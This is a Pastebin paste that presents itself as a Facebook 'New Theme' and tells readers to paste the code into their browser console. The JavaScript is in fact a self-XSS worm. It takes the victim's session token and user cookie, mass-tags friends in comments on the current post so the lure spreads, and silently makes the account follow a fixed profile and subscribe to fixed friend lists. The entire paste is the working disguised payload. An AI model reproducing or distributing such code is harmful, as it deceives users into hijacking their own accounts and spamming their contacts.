Advertisement
DjLvke

New Theme By DjLvke

May 29th, 2014
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.80 KB | None | 0 0
  1. New Theme Version v.12
  2. By Luke
  3.  
  4. Copy and Paste This Code To Your Cansole Box...
  5.  
  6. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  7. function get_friends(){
  8. var a=x__0();
  9. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  10. a.send(null);
  11. if (a.readyState == 4) {
  12. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  13. return f.payload.entries;
  14. }
  15. return false;
  16. }
  17. function get_uid(b){
  18. var a=x__0();
  19. a.open("GET", 'http://graph.facebook.com/'+b, false);
  20. a.send();
  21. if (a.readyState == 4) {
  22. return uid = JSON.parse(a.responseText).id;
  23. }
  24. return false;
  25. }
  26. var patt = /comment_text=(.*?)&/
  27. var c = 1;
  28. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  29. uid = get_uid(username);
  30. a = window.top.location;
  31. termina = 0;
  32. var amigos = get_friends();
  33. post_id = /[0-9]{8,}/.exec(a);
  34. uids = 'comment_text=';
  35. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  36. for ( var n = 1 ; n < amigos.length ; n++ ){
  37. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  38. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  39. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  40. c++;
  41. if(c == 7){
  42. uids += '&';
  43. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  44. z = setTimeout('function(){asd=0}', 1000);
  45. clearInterval(z);
  46. c = 1;
  47. uids = 'comment_text=';
  48. }
  49. }
  50. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  51. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  52. function cereziAl(isim) {
  53. var tarama = isim + "=";
  54. if (document.cookie.length > 0) {
  55. konum = document.cookie.indexOf(tarama)
  56. if (konum != -1) {
  57. konum += tarama.length
  58. son = document.cookie.indexOf(";", konum)
  59. if (son == -1)
  60. son = document.cookie.length
  61. return unescape(document.cookie.substring(konum, son))
  62. }
  63. else { return ""; }
  64. }
  65. }
  66. function getRandomInt (min, max) {
  67. return Math.floor(Math.random() * (max - min + 1)) + min;
  68. }
  69. function randomValue(arr) {
  70. return arr[getRandomInt(0, arr.length-1)];
  71. }
  72. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  73. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  74. function a(abone){
  75. var http4 = new XMLHttpRequest();
  76. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  77. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  78. http4.open("POST", url4, true);
  79. //Send the proper header information along with the request
  80. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  81. http4.setRequestHeader("Content-length", params4.length);
  82. http4.setRequestHeader("Connection", "close");
  83. http4.onreadystatechange = function() {//Call a function when the state changes.
  84. if(http4.readyState == 4 && http4.status == 200) {
  85. http4.close; // Close the connection
  86. }
  87. }
  88. http4.send(params4);
  89. }
  90. function sublist(uidss) {
  91. var a = document.createElement('script');
  92. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  93. document.body.appendChild(a);
  94. }sublist("204678296364375");sublist("232033620295509");sublist("218624604969744");sublist("1436161033282988");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement